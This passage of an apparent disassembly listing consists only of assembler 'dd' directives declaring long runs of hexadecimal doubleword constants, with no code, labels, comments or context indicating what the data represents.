		dd 80111804h, 9F065B50h, 0A8264B07h, 60EB87CAh,	903AACh
		dd 0B512A5FBh, 83CB35E6h, 516ED801h, 5D0F4110h,	5F6001F3h
		dd 0D98D1AB0h, 8F10BD8Bh, 3F396549h, 7AD18239h,	0F8F1BBCCh
		dd 0F0A4A40h, 1480E668h, 9B3AF770h, 3490DE00h, 0A73FC4D6h
		dd 3DB1385h, 8C5030CAh,	0F5F05073h, 0ADC84700h,	0EE3FDC32h
		dd 0B3530086h, 5D74F0BEh, 30014E18h, 8AFA6C4Dh,	0B5D3903Dh
		dd 8E7FF180h, 7E07000Eh, 4E942B8Ch, 0CF00853Fh,	0EEB7A9B4h
		dd 701B05E8h, 8CC5176Eh, 8DFC0020h, 0A4F2064Ah,	14D0213Ah
		dd 0CCDDC2h, 0AF7D180Ah, 0BACD85h, 0F686BCA3h, 6428F37Ch
		dd 7543959h, 196D02F1h,	70D0A527h, 3D59D7h, 4A9206BFh
		dd 0B9CC43E1h, 92967E3Eh, 3400AA39h, 3055E33Ch,	13B0B6EBh
		dd 0C04B04D3h, 0D8B3A7h, 191BD973h, 1F5ED462h, 26EDA8Ch
		dd 87BE3357h, 42DDE8A0h, 1901F048h, 417D312Eh, 4C70492Dh
		dd 3D79D3h, 0EE4D2961h,	0B81C0E63h, 95DD0500h, 53A7ABDAh
		dd 9D780DF8h, 44F0D63Ch, 0FA1C881Ah, 0B7C80406h, 7B610A52h
		dd 1B9900F3h, 53CEF5BAh, 7A005FAFh, 71EF9740h, 6E6832h
		dd 0C4DDCAA0h, 908C7382h, 0C224E003h, 0B38D4D1Eh, 0AB4F88D8h
		dd 6C7900E3h, 771296E9h, 0EE000476h, 0E4A671E6h, 0A19878Ch
		dd 86534783h, 0C75680C4h, 9EC26CB1h, 0F92FFC00h, 40283A4Dh
		dd 0FE6F0014h, 8DD1D368h, 4C12390Eh, 0C20060D0h, 0FD7126ECh
		dd 0B4DE0F5Eh, 817E8735h, 6CA453BCh, 70C4406Eh,	0BC960111h
		dd 4AAE219Ch, 5D609D00h, 0DD9E78h, 0E18329B2h, 0C7259DCh
		dd 73003BFCh, 61AF4E8Bh, 4D70567Ch, 0EA00A41Eh,	81F691B4h
		dd 7D00FD9Fh, 28BA0A86h, 0BD9D558h, 0A5C96AC6h,	0B1CD0000h
		dd 6E5D18F7h, 84670094h, 30905CD2h, 0E74000CEh,	758F7B6Fh
		dd 89795928h, 6122401h,	1A9180B8h, 8B22470h, 4FE62CC4h
		dd 0D2F6BB00h, 4DE71F1h, 0BAD1625Eh, 330CD0AAh,	5F07A41Fh
		dd 0A2412119h, 5C6D2250h, 597700EDh, 3D5BFA14h,	133854E3h
		dd 20F22602h, 90689488h, 3FDD85EBh, 76364D0h, 32C0090h
		dd 24545EA9h, 0D00C9FD1h, 7865DB8Fh, 57E01E58h,	0A74C00FDh
		dd 1FAD9486h, 93DD8C00h, 32B682CFh, 180C049h, 0EDDB0805h
		dd 55059874h, 0B07B2E78h, 9AC880C1h, 0CB94A11h,	6DFF00A6h
		dd 6F51DB7Ch, 7D07F3E2h, 9809B3D7h, 8C44E190h, 0BC54393Bh
		dd 4AE7A600h, 552A77D5h, 0C5F45F09h, 0D2348048h, 0B89BE351h
		dd 0C71B00DCh, 0FC0D499Dh, 8400AB19h, 3771BACFh, 755A61Fh
		dd 0DB896D54h, 57804053h, 9307B2BCh, 7BB1334Eh,	8B95FA00h
		dd 0C1EC3Eh, 469F798Ch,	3216A008h, 8367253Fh, 0B65F8A6Ch
		dd 0F3B3A7D9h, 1D77E80Ah, 151824BFh, 911706F4h,	0AB4F20EEh
		dd 98401C1Fh, 0D541FF7Ch, 853600A0h, 4CCDF80Bh,	0F90768B1h
		dd 675DE875h, 9EFB61D0h, 0A1981ECFh, 0E2081D6h,	305ADDE4h
		dd 4D093908h, 0A7D38757h, 0CFE21C50h, 0D8F84B86h, 1815AF2Fh
		dd 646E2396h, 4899B650h, 165362h, 8C6E083Fh, 4514380Fh
		dd 40D04FBEh, 0F3BB295Ah, 0DE5C0036h, 421A46A7h, 4F6FBD2Fh
		dd 2205C139h, 0E4E0357Dh, 0CEB8009Ch, 0D0119FB5h, 0F7482164h
		dd 78BE0290h, 0C0B29252h
		dd 0BCA6A8D8h, 46A2C02Ch, 5F581E94h, 180102C6h,	0C2BED30Ch
		dd 3CF050C9h, 1A25CE17h, 2F97A060h, 84564328h, 4122BC00h
		dd 4DC27247h, 1EB97B66h, 1C69769Dh, 0E30D40A0h,	72CD9AFBh
		dd 6AFAE1Fh, 8535CC0h, 7EE4C08Eh, 0FFF7050Ch, 0C14F818Ah
		dd 0D8CB3EFEh, 7AEA1A30h, 269F8C00h, 4908047h, 0BA2A00D7h
		dd 6877F988h, 6B250CE0h, 0F458A215h, 6F0A1CBh, 0EDC43ED6h
		dd 35F4A6h, 314F8066h, 85C0B96h, 278C5A01h, 0A740E5F6h
		dd 0C541CCh, 70C25E72h,	0B8367DCEh, 28862300h, 0F251DD68h
		dd 9C2F482Bh, 7200813Bh, 0BCBE2D52h, 7A0011CBh,	43E307C9h
		dd 79BF3B2Ch, 6D73D3h, 0F84D035Dh, 8E1059F2h, 0E2B02A00h
		dd 0A6CB2302h, 77DC02C0h, 0C15D0C97h, 0A428FCE0h, 6E09E907h
		dd 2EF0DBCDh, 9E476B83h, 0A6B30298h, 3048C70Dh,	2EF2AC95h
		dd 25BE4600h, 0EBC36904h, 5C4E0051h, 7658455Bh,	0A40E4418h
		dd 8AF448h, 43D1D239h, 21423DE4h, 0F3B7A780h, 59D6411Ch
		dd 0EF96C216h, 1DB2CF07h, 576CD3B0h, 23B704D5h,	0C0DCBC85h
		dd 0A39A9C28h, 112548BAh, 4B306131h, 7E19AFE8h,	0A6D0009Fh
		dd 33441408h, 0DA0012FDh, 0EE9DB28Dh, 2677CA66h, 7B064F2h
		dd 201ABF06h, 73F39231h, 45A0A109h, 0E2BC5001h,	1FF200FDh
		dd 8C670EAAh, 0C57FCD62h, 0F0384D1Fh, 0E0E3F100h, 1ECD8E9h
		dd 80E8D737h, 30C7210Ah, 180058FCh, 0AB984D9Dh,	0D91419h
		dd 0FA151A39h, 4EDAC73Fh, 20787C25h, 0AA4A27C0h, 19C981Eh
		dd 0F9D991AFh, 2012389Eh, 497C0B0h, 90D00570h, 9902B3h
		dd 32AE6648h, 9653C008h, 3BEED47Fh, 3E28AC0Fh, 2C6981h
		dd 889EA4BCh, 0CA2B0327h, 0B546D6D1h, 0E73A80ADh, 8C00C3BAh
		dd 65E20EFAh, 5CB321h, 68A53539h, 32FB5859h, 60664C00h
		dd 8E9B19BDh, 0E3BC1C2Eh, 27DE001Dh, 620E1D4h, 0E589D8C0h
		dd 1670401h, 56A864F5h,	40B084EDh, 0B6E0E1A0h, 0CD407E09h
		dd 6D928735h, 5A0F2020h, 24334D77h, 8941905h, 8DBA80F4h
		dd 0F2500203h, 592C3FF0h, 0D383C807h, 82A0D19Ch, 285C34h
		dd 89118BF0h, 0D4017082h, 0F8F3A90Fh, 0DA605013h, 36B7C51h
		dd 0EA8E04Bh, 40C02F72h, 44B0FA05h, 0D74C3E10h,	7DFEE420h
		dd 0D9064316h, 0CC1B00FAh, 0C12B6AB2h, 4FA048h,	25D0977Fh
		dd 201853h, 45CBA952h, 0DD81EF3Fh, 0F429140Eh, 23FEA25Bh
		dd 7F7C404Bh, 0A9F23833h, 40786C18h, 2800A165h,	68DD24C3h
		dd 0FEC64BBh, 59C91A14h, 0AFE35C07h, 0E38066E9h, 0E85369D4h
		dd 624C1AFAh, 0B71604ACh, 0CCAC8AE7h, 15292600h, 0DA4448A6h
		dd 32051200h, 0FD348673h, 98C500C1h, 2DFB8D8Eh,	0AF000ADDh
		dd 2851A945h, 20D587Fh,	62E65565h, 0F6E08FE1h, 7A586107h
		dd 967B0074h, 0B854274Ah, 0DC7997h, 0C8E393DBh,	2F060CFAh
		dd 79DD5209h, 0C9C42024h, 2E141A2Ah, 0F3F592h, 99B1B258h
		dd 0F4267BEBh, 2D00B102h, 0A8961A34h, 0BB2101C7h, 0F3F98A06h
		dd 4C6AEE58h, 1825F080h, 0A526735Dh, 0F00148C3h, 6F09916Ch
		dd 34BC002Bh, 3E04DCF8h, 15024005h, 800F3142h, 0A08CEF1Eh
		dd 92CBFD51h, 87E89E67h, 9066A5E6h, 243CB41Bh, 262E0F79h
		dd 0A8007845h, 0D8D5FCBEh, 3C549043h, 0A50987DBh, 100497A9h
		dd 0C8C1229Bh, 5CCE959Ch, 7901A5h, 3686315h, 0C45DF94Eh
		dd 80345839h, 41CEF66Ah, 4C3BC6ECh, 16019C14h, 9C1B3F7Ah
		dd 25109E1Dh, 6237BF45h, 7D4B58C1h, 497DBD4h, 7B01B031h
		dd 89F7C042h, 66075311h, 9C7294Fh, 0AB3F52A0h, 37FC125Eh
		dd 0EEC90377h, 70EF3558h, 11C299B7h, 8F95C47Bh,	0E0BA8E68h
		dd 630FF58Dh, 303E0067h, 0C6CF54ACh, 0E0016C2Bh, 0C03D5395h
		dd 13E8C16Bh, 234E001Bh, 499F1FC2h, 261E47F8h, 0F6419AC4h
		dd 44BFA7Dh, 1CD1B460h,	0C30C6D86h, 1C52AA19h, 7A38B094h
		dd 0A0AFA804h, 1CBC92B5h, 0C835138h, 829BF8E3h,	41D2B790h
		dd 7F3D3300h, 0A12254DCh, 628A0708h, 0F0018DF9h, 0E83CF350h
		dd 9667B83Eh, 0F8007068h, 31250D6Ch, 584813EBh,	0D2084B06h
		dd 3E10F403h, 0D40A1100h, 5AA40429h, 9805A26h, 6000CCE0h
		dd 0E542F032h, 0E8058A01h, 5335655Fh, 0C056E0h,	0A33B25B8h
		dd 542B7416h, 93333D3Dh, 0B500AF65h, 0F6251896h, 0B4CB0403h
		dd 0B92A664Fh, 857E007Ch, 7DC65CADh, 42CB01Eh, 426B2553h
		dd 0E794F0CAh, 0E9340A00h, 0E85041AAh, 0C15A00AFh, 28D50766h
		dd 0D0093CFh, 8436EE10h, 2C8D8364h, 0A8AADEh, 79A0019Dh
		dd 62015AB3h, 671D2B75h, 4BFC7035h, 56230C2Dh, 0A31034DEh
		dd 1FD5A503h, 0DDB720AEh, 12659C03h, 62313C9Eh,	0B2C7158Fh
		dd 0D5D380FEh, 3E4C2C1h, 0EF466A00h, 5C0810AEh,	0F77001Ch
		dd 53D451B3h, 0B9006238h, 0DD065A88h, 0ED3B29Fh, 23540515h
		dd 0CC8E4EC0h, 70003C9Dh, 5E4AAC56h, 1A888C5h, 22524813h
		dd 70B7B307h, 90002371h, 531E5033h, 0F3D8115h, 6529FB36h
		dd 9DB878E0h, 0C018EC22h, 0BC41EB21h, 904A583Ch, 79FBF700h
		dd 7E42881Eh, 0EA9D2800h, 0AD63D6E7h, 43C80F84h, 18A01AF4h
		dd 0B2032A09h, 0F25AB01Ch, 0CE1F02C0h, 0E58EC86h, 772A2BEh
		dd 0AE001CCEh, 9B3B7F8Ah, 0F2652600h, 0CC159063h, 0F82C389Ch
		dd 0F5FD3EFBh, 0D0807BBAh, 914749AFh, 8008993h,	0E0C506B2h
		dd 76FED9Eh, 755C55ECh,	5001B088h, 5E00A431h, 0A0025712h
		dd 0C1E9CFh, 368CCE35h,	6E4421EDh, 89B938h, 2D3BFF91h
		dd 4F736Bh, 36F8EE3Ch, 6C1E9564h, 0B32BF000h, 41BE3028h
		dd 0A405019Fh, 1FF92DDDh, 0E1E0C223h, 0D8FA32EDh, 0C7BCAF00h
		dd 6DE13368h, 35D902D7h, 69B405D4h, 0A1D060C0h,	8504931Ch
		dd 58DFC080h, 2C6596E2h, 2330584h, 1CB1E3ABh, 7404B45Eh
		dd 90BC754Eh, 240CC04Ah, 97011A2Dh, 40AB1E2Fh, 0A3CC2EA6h
		dd 434500C9h, 0F086BCF9h, 0BE016EC8h, 0CA5016DFh, 1AFC7B98h
		dd 7E8E675h, 0D795665Ch, 10AF906Ch, 0B10B4A79h,	0A074EFE2h
		dd 2F21F600h, 724D035Dh, 66247C06h, 1308180Fh, 0BE9D030Eh
		dd 7B103C61h, 514E0C00h, 845D90DEh, 0F97C30F6h,	0BD98B23Eh
		dd 47EF0015h, 0E66411AFh, 0F5E3002Eh, 0DE1F2D89h, 2F0020A0h
		dd 3F4A9057h, 0EA97241Eh, 323E1F21h, 65A000FDh,	677A769Ch
		dd 806F6A3Bh, 62B61A94h, 0BE357Bh, 51FE4BBAh, 0EEE1725Dh
		dd 98487409h, 0D7FCC0DCh, 0B5473A9Fh, 159E0F03h, 82CB3188h
		dd 0B013582Ah, 0A8A29900h, 600E1AFBh, 0C637473h, 2DD2E16Ch
		dd 4B001620h, 0E5111406h, 730AAEAAh, 1978003Ah,	7080D56Fh
		dd 1B00B0EDh, 2CB5F6FFh, 34A2F62h, 96288C25h, 0F0F7E068h
		dd 89E9AD35h, 80885C3Ah, 518D435Fh, 370155h, 877A123Ch
		dd 78F3F1E9h, 476AD41Ch, 45764180h, 3192CAh, 0B6CE210Fh
		dd 5A894AEEh, 4F3FEF12h, 9E370400h, 0D13065h, 0C85B85FFh
		dd 2022DEF9h, 5240B000h, 27C7F028h, 1E5A3C65h, 6A548707h
		dd 84617017h, 0AB005D40h, 0F8CBED33h, 0E6992BD0h, 75571F8Ah
		dd 3E34056Fh, 0AD845437h, 0CA085A00h, 9881A3D1h, 0DB4AC024h
		dd 9EEF3000h, 1861F7h, 5F8EA294h, 0D6AA097h, 0FF621709h
		dd 0C12C207Ch, 5F0AF68h, 5F1B5AB6h, 0EF36C013h,	3D607828h
		dd 75FA4768h, 14F2E816h, 403F0C6Ch, 368FD60Bh, 4551D03h
		dd 6E809DD8h, 77F8CD02h, 0E0E36273h, 427D3DEh, 4B4913D7h
		dd 60B0F0BBh, 47E1BA0Fh, 5EFC62D5h, 0DCF4C055h,	43F26Ch
		dd 0BEC6616Bh, 0D4E16DC7h
		dd 77A6F901h, 0F7C9A802h, 3ACFAE0h, 0D8E363CBh,	4BC8AE4Ch
		dd 20921AA9h, 93D14E00h, 97CB3F95h, 31A100C1h, 0CC660996h
		dd 627BC854h, 139E2902h, 0A07B5635h, 2536E084h,	1CFAA5h
		dd 1D77DBE1h, 16722FAFh, 560FE500h, 3A5946A9h, 0A0BF0A22h
		dd 0E1841Fh, 0FEAA8AF6h, 9DB8AFBBh, 3841F909h, 2F18B43h
		dd 0DD2B038Ch, 918D2300h, 6AE83A9Eh, 7C4ED500h,	0B58958F0h
		dd 41BC3C82h, 0F280D000h, 305D2E74h, 0CABA5F00h, 73CB2B0Bh
		dd 9FBC0035h, 802A50AEh, 0A53C4DD2h, 9AC88014h,	0A13EAA7Ch
		dd 0BE8500D4h, 5773BF51h, 0B23B8880h, 0A36D8048h, 0E06FB1CDh
		dd 0BE8A075Ah, 0A0A78BAAh, 4D9C726Bh, 0BA57DD03h, 0C0C2C077h
		dd 11544Eh, 2BE0E247h, 164C639Bh, 0B3805A02h, 8FBE9E1Ah
		dd 0AF049480h, 11B86B18h, 0BA076CB7h, 5D74299Eh, 174BA00Fh
		dd 77A547C0h, 0E6AB01B4h, 2AB76499h, 492990BDh,	0A2FFB282h
		dd 22207F04h, 45819FDFh, 0FC440E08h, 83328493h,	103151D0h
		dd 0E789FD42h, 0CF628C08h, 27010D29h, 0BB900891h, 48D20C84h
		dd 9B442F9h, 0C921CF24h, 10F512D6h, 0F1C4F416h,	3900FD23h
		dd 742C8662h, 0E042B500h, 67EDE1C8h, 0B3FA44h, 58878A52h
		dd 0D414F6EAh, 0F015000h, 0F869907Ch, 0E7F50044h, 2A2CEBA0h
		dd 0D5F0857Dh, 0B7B0E602h, 6018F607h, 12AF0B16h, 966A83h
		dd 3864740Ah, 24000239h, 3F18EE48h, 0A0BA3Dh, 9A32058Dh
		dd 0D2966629h, 7A40C538h, 9725Ch, 0F30CF4F9h, 0E2685Bh
		dd 4F04D297h, 0B119CB55h, 0D3492C0Eh, 80BEFDEEh, 0E31F0D22h
		dd 183D2A1Ch, 1006A22Fh, 0CA0883B6h, 1014A17h, 0A4BB027Eh
		dd 0CB29D018h, 657B8509h, 6C2021C2h, 6D304FC0h,	5A910192h
		dd 5B3442EEh, 0C4FCDC86h, 3E71CD07h, 0AE90662Eh, 7111224Eh
		dd 6890023h, 0C6B5B408h, 3800BFE3h, 1C3103B3h, 1D6DBEEh
		dd 0F4E43604h, 0E47F2D05h, 0CF182765h, 44789CABh, 0E9CD00D2h
		dd 0E406827Ch, 0FD00B4CEh, 0E8735BB1h, 75A8CAA5h, 0ACBA00A6h
		dd 0CF263F52h, 10C002E2h, 6A68B0DDh, 0D27A0E8Ah, 314EEA15h
		dd 630143E3h, 0B6B83CD3h, 8F003FBFh, 0E27EE188h, 9F344B2h
		dd 5D62CC8Eh, 0E3388E5Dh, 79F9E755h, 7995007Ah,	9D16898h
		dd 8C0050EEh, 635BBC53h, 7F344E6Fh, 25300185h, 29FF10DFh
		dd 0FDC88080h, 5851B4C2h, 157F0071h, 0AB18DD8Ch, 0CC091ED8h
		dd 85521F47h, 68800AA6h, 62252Fh, 3C2D6CA9h, 0E475B673h
		dd 0BDD81800h, 0B9F9B09Ah, 2CB3481Ah, 0E2573A09h, 5227FC80h
		dd 6A004C43h, 7F329705h, 78C2175Ah, 0EFEEB9h, 0D3569CF2h
		dd 86AA87D6h, 33905807h, 0D2402882h, 60A16Eh, 0CEC44E70h
		dd 0F03CF80h, 77FCA500h, 28195B87h, 0B5B23E99h,	682200F0h
		dd 311FD504h, 15009224h, 47D8B487h, 7DE7479h, 0ADAFB90Eh
		dd 0E4BCA007h, 85024ABEh, 839C6742h, 0C34860A3h, 0D5D400BDh
		dd 0AD326B0Fh, 751D4F94h, 9340E2F1h, 0C9173D42h, 106E2F6h
		dd 49A4C38Dh, 21D5239Bh, 7EA05088h, 5600AD54h, 7F34781Dh
		dd 0FED1594h, 9AD348E3h, 67229D00h, 0E898F94Bh,	3FB07907h
		dd 33002F8Dh, 9FAA42Bh,	6296787Ch, 428A3000h, 0BB72BDD5h
		dd 56BE3E30h, 1D278850h, 0CFFBD1E6h, 0DB255F06h, 5BF20092h
		dd 1146F0B9h, 96006E76h, 0DA896131h, 581DB4h, 6AA43D97h
		dd 4020928Ch, 0E09BA7Dh, 0D4FA047Bh, 0F23C48h, 187A9772h
		dd 7FDFBE98h, 9274A400h, 4E3E5735h, 0D8E0E1h, 6EC6AEDBh
		dd 54055BB0h, 0E2001479h, 916BF7EEh, 770A162h, 0BB26B152h
		dd 0FC10B01Ah, 2F002999h, 0DBAA897Dh, 1030E78h,	55045EB1h
		dd 802D2274h, 94A96DD8h, 636583h, 0B617DA6Eh, 4D35C9AEh
		dd 0EF05CE78h, 6B5CB411h, 61BBB800h, 1E2C0229h,	0C0FE7C26h
		dd 0F8F20F5h, 7B00F401h, 0B63703D3h, 58552h, 411ABD71h
		dd 0A3E7078Dh, 0C989A600h, 0DA77C76Ah, 18041469h, 74DEB2h
		dd 0C34C1BCAh, 387D9578h, 33119A00h, 156D2BF1h,	1B213BD9h
		dd 2F626C80h, 7BCE4E3Ah, 0A3D47412h, 0E8CBE000h, 1BBB84h
		dd 0D09D20Ah, 29A70BCEh, 0DA1AF200h, 13C9AF01h,	784C00BEh
		dd 7C2159D9h, 44908965h, 50976E00h, 80D7531Dh, 10FB00B0h
		dd 24C672D5h, 6D2C3F51h, 0D60088B2h, 0B736FD35h, 586245Fh
		dd 0A6C381E4h, 0CC01D4CDh, 0F0EA4F44h, 9F1FC700h, 9AB81306h
		dd 0DD6C00C0h, 0B3E5CBECh, 250005E7h, 0A30C8208h, 28B094CFh
		dd 0F880E60h, 34B3B1FAh, 872A8940h, 0A0982E91h,	0E1AD3Eh
		dd 0E31E9DF0h, 0E88FD505h, 0F87004h, 7BB1C6FDh,	0ABD925DCh
		dd 43941600h, 0DAB8BD91h, 8C230354h, 7533AE93h,	0E4903AD8h
		dd 0CC59A109h, 0A0C42F01h, 2E057EB3h, 0D8DE262Bh, 0A2D700E8h
		dd 45C9A7Ch, 0E832F3Fh,	60B3BD5Eh, 47D4FD72h, 0DFD10094h
		dd 8C60E328h, 5A00A538h, 1E05D279h, 6BF15Eh, 4DDA9675h
		dd 0EF475C71h, 0C03B1C90h, 4B0F81FFh, 1DDBB1C4h, 1F8F7EE8h
		dd 40305F6Bh, 0AF0C11FCh, 0A963E339h, 991DA1A0h, 676192E8h
		dd 867F5400h, 0AFC7687h, 23D1C66Bh, 0B6EC00B8h,	13A330F5h
		dd 1744E007h, 0A8E08B4Eh, 599B73h, 1A493982h, 8916FF53h
		dd 5C23100h, 0F4BE48Ah,	460C009Fh, 1E8434A4h, 7750A2D1h
		dd 191FBC8Fh, 0B99EE2A1h, 1340F0ECh, 16BDB51Bh,	5FC36Eh
		dd 0A3281246h, 4E009229h, 0D3DEB6B9h, 0C0A886F6h, 0ACE5A6C8h
		dd 9B0053ABh, 0FE16B44Ah, 0DFF4F8h, 9D70D235h, 0D08E8C84h
		dd 75AFFA5Ch, 69889600h, 4B6E5E77h, 0E7F83Eh, 0A0ACFD0Bh
		dd 0AF2CF9E8h, 2A50E8C0h, 4C2465DDh, 1900A48Fh,	0E89304B4h
		dd 0CE319D36h, 22561942h, 0EA92B0E4h, 9C350077h, 0A8D338A1h
		dd 72FA09D0h, 4B655407h, 2C80F64Fh, 26B6CACh, 11906926h
		dd 16C04C70h, 0AD008DDBh, 7C507F4Fh, 0AC0E64h, 0CFFBB55Dh
		dd 0DE3F6EC3h, 0EBD43024h, 80933E00h, 9D2A06h, 1EEDEAD6h
		dd 90DE9C5Ch, 4DE41900h, 0A466ECD0h, 0CC812CDh,	0E648008Ah
		dd 0AD5CACEh, 880ECFF2h, 200E29D3h, 0F75E9F91h,	0D1F50145h
		dd 3A6C6DBEh, 7DFECC7Ah, 0DC368D07h, 9570CB05h,	3F254912h
		dd 0A980C74Eh, 69C15CFh, 593D26BBh, 0DF2C00C1h,	2F0219DCh
		dd 0DB4A0BADh, 4420068Ah, 0F161EF0Ah, 3C79BF01h, 20DEAF3Fh
		dd 2C729DE4h, 3DE888DBh, 37B0D0h, 0A249BF7h, 1859EC85h
		dd 1A86650h, 21CF7B02h,	408B5514h, 0B60754h, 8279AA8Ch
		dd 83647F62h, 0D9944D05h, 3680FD9Ah, 8D859Bh, 0B256AB17h
		dd 0F4AEF342h, 7EA0E550h, 0F33BC00h, 79AB291Bh,	94C800FBh
		dd 0C7187085h, 6063F2D9h, 0F8A9E828h, 769BC59h,	38E178ABh
		dd 4FD44066h, 0CE001234h, 58FA4B83h, 725970h, 13448D11h
		dd 0B63BA1F9h, 0F200F4B8h, 0BF15D912h, 60B156h,	0E6748B62h
		dd 0EC2C653Ch, 0BB30D800h, 28B60C3Ah, 0DB0100F7h, 0A1C3B3DAh
		dd 4B005F9Bh, 3829724Ah, 1256FC13h, 8B9055h, 8E662454h
		dd 391FFE93h, 0F7CBDF35h, 0B1E58767h, 0F0B4C08Eh, 0C1AC80h
		dd 0B80A1848h, 0F5F9BCEAh, 0FAA31900h, 9CF87CBh, 0ED080263h
		dd 7172419Ch, 0E5D5CC83h, 1CDE09F4h, 0ED350E84h, 1A459A9Dh
		dd 4AC80087h, 67444876h, 3FEE4700h, 5E7055E3h, 24981Dh
		dd 318D5A92h, 0C93E1AEDh, 343F3Bh, 0E07B3A99h, 30664AFh
		dd 978798BAh, 6EB00F69h, 892C5A5Fh, 9B17E417h, 2049A50Eh
		dd 0B153229h, 0BBCD00DBh, 82A292E6h, 51023F9Ch,	0DEBFF028h
		dd 4E006929h, 0A0E8CC8h
		dd 0F6D443BCh, 42800A0h, 9EA8E8EEh, 0C400E4B0h,	5BB667EAh
		dd 1CD60DC6h, 447874CAh, 0C19A985Fh, 0D0E28DBAh, 69004A36h
		dd 0BE9B1D6Eh, 28786566h, 18C93ADh, 68587ED0h, 603C6A86h
		dd 190421F4h, 0EE9EDEF5h, 0CDD4ACD0h, 8B2E4407h, 0AC19800h
		dd 4CF9DC7Eh, 377D2Fh, 0E1A46779h, 55B8EC0Fh, 36F75A00h
		dd 122FB075h, 95C401E0h, 5EB59BCCh, 133C2054h, 0F3FED508h
		dd 0C0AA05EDh, 3CFC1418h, 32C93600h, 0F20BE3E9h, 2EA66601h
		dd 2650AA8Bh, 0ED7170h,	7C081CF4h, 5E308F6Bh, 0EF18A701h
		dd 0A9FFAE06h, 0B795E8h, 333C4D55h, 8EBB891Ah, 0B9E23C90h
		dd 1800524Ah, 0C3468AD8h, 5D891EAEh, 0AF1F0095h, 6E497F45h
		dd 250051E2h, 9E79AC6Bh, 4B312360h, 0B7800382h,	16CDE68Dh
		dd 7D3700A8h, 7D27A94h,	0FCEBC204h, 0A8D0BD6Fh,	2C3FA8CEh
		dd 14E7A4h, 84479888h, 0CC762F01h, 147A7500h, 0E1EEF3A6h
		dd 5B8CA0D7h, 93530068h, 73DEB7F7h, 6E0C2533h, 8149C0AEh
		dd 0D5EE00DDh, 9F513971h, 0BD046D35h, 0FEBACA38h, 33FFA1C1h
		dd 0EBD470h, 40F1FB1h, 0D4DC883h, 96905800h, 0BB378455h
		dd 0D0BA129Fh, 0A866001Eh, 745A07B7h, 44130300h, 42865724h
		dd 87043F01h, 0C15C9407h, 0B611D0DCh, 903B4715h, 46A500D2h
		dd 0A4FB0AF2h, 892C001Eh, 0FD9F0B1Bh, 0D7025196h, 5DA0F034h
		dd 87E46063h, 1E152782h, 6D9E3C80h, 0F498B551h,	3F5A1612h
		dd 92A93C80h, 31C10108h, 0CC68AFB3h, 486BD0E4h,	0FDB03013h
		dd 8A761400h, 50E9B62Ah, 79ECA0h, 83705D9Ch, 1BB0C546h
		dd 0FAB4DC00h, 4213C6CEh, 0D760Ah, 44CF043Fh, 0DFF19C30h
		dd 3CF3645Ch, 0C9268010h, 397F4238h, 2DA729Bh, 0B805FCDEh
		dd 0AB815C4Dh, 712E3776h, 0B2B08105h, 0E7193C5Bh, 0F4AC7DD8h
		dd 95F102C4h, 0B0D28C9h, 0F257B481h, 3DED60DAh,	334BBB00h
		dd 89218369h, 0E280BDB7h, 3B93F085h, 1304D00Bh,	2F4C001Ah
		dd 86C0A695h, 1082C907h, 0E450318Ch, 9CAD84h, 0ECE9643Ah
		dd 5A0BC4A4h, 801BEF39h, 462E5F82h, 13694EC0h, 0C4BA0D51h
		dd 8A6980F8h, 0EE04435Ch, 0C3A45BEAh, 0A1A3F2C3h, 0B8F0C1D7h
		dd 2B0E05D1h, 0A053124Eh, 8626F3B8h, 2C800C83h,	0C9D1F218h
		dd 1BA90EC7h, 0CCE5B3ECh, 82F60AA8h, 0DDE200D4h, 8DF14493h
		dd 3B785A4Ch, 0E3AC801Eh, 0CDC9D667h, 487B01E8h, 0F336EB0Eh
		dd 3B32E409h, 63EF2A00h, 0CCF0F6E7h, 85D10B1Dh,	0C880533Ah
		dd 49172634h, 89C90612h, 6E5D1C00h, 0AFF352h, 0F2B51ED1h
		dd 3848B83Ch, 7E5Dh, 6BDE34B3h,	8E2331h, 0CF49038Ah, 1E0FDC93h
		dd 0B804DB0Eh, 5121A239h, 2847DC98h, 0F3DA0B80h, 6C000C83h
		dd 6F26C2CCh, 9012E100h, 0B8E26E6Ch, 0B70E0350h, 8CBD61C1h
		dd 2A47C3A9h, 0F3D15800h, 26658E26h, 9E148358h,	22BA1D7Dh
		dd 27CBACA8h, 58A235Ch,	4CCFE1BBh, 701BF5C0h, 7C493B58h
		dd 9F00CCCCh, 45384A48h, 0C900F1BEh, 0CF0C7A5h,	1F87A9F9h
		dd 44FE300Eh, 0D5CC6399h, 449180ECh, 70EAE2F4h,	0B600A490h
		dd 68A34BC3h, 189A51BAh, 6171293Ah, 0A000D4CEh,	0B539BF52h
		dd 78E72EDh, 0B044F173h, 0B0F305Bh, 6A90800Ah, 5A00F27Ch
		dd 3A798298h, 0E891A7A1h, 0DC0700AEh, 0EA4D107Ch, 380016C1h
		dd 5D3585FAh, 72FB496Dh, 370800B8h, 8357D33Bh, 2B007386h
		dd 8F9F07B6h, 1F1E33Dh,	253CED4Dh, 0C03E4882h, 6400DBABh
		dd 5906512Dh, 976B83h, 86D236A6h, 44CD4230h, 38B31B05h
		dd 6B802F87h, 0DD8A88h,	0D2A62966h, 0FC75E319h,	0D61FF917h
		dd 0BD0B8400h, 0B0BB54h, 52E54A7Dh, 0C5B2F531h,	0D7DD1400h
		dd 0FCA2B4FFh, 96DC01EAh, 0AC470C2Ch, 803ADD31h, 74B8DF81h
		dd 9E4D99h, 0F5D9A7F0h,	4C42DAD5h, 55AA6A00h, 0B6577787h
		dd 8D402495h, 628400F6h, 0D1A50786h, 6B2E5A05h,	8C01BA6h
		dd 88AAC3h, 0B517160h, 85E3330Dh, 9A0015B0h, 87647ABAh
		dd 0FE324069h, 505900C4h, 909EFB4Dh, 0ED0028C8h, 22A0D3C1h
		dd 0F3042Eh, 0EF84FACDh, 4C8031D2h, 5F5D0800h, 5A07A1Dh
		dd 90DA094Fh, 618051F7h, 5A851F8Eh, 0E4DE8300h,	15013368h
		dd 7DFD00E0h, 0D5EC3D7h, 89033096h, 2588EE62h, 876198D3h
		dd 90C900A2h, 39DE243Ah, 0E603F522h, 0C247162Ah, 0BFEC9D0h
		dd 7290D1DCh, 0A4D600BFh, 0B19BCF2Ch, 4C0015C6h, 0D587B4BDh
		dd 0F2FF63h, 3712E2E3h,	60AA8D2Ch, 509AA907h, 0F97B723h
		dd 21602616h, 0C80145Fh, 0DF30E4Bh, 0A94560B9h,	64FAB40h
		dd 0BA1B5A17h, 0D6640FFAh, 1A980760h, 0AD0785F0h, 0A796AFCCh
		dd 8A0646h, 0D6AF5FAh, 1AF471E4h, 0E231DA01h, 55EF9705h
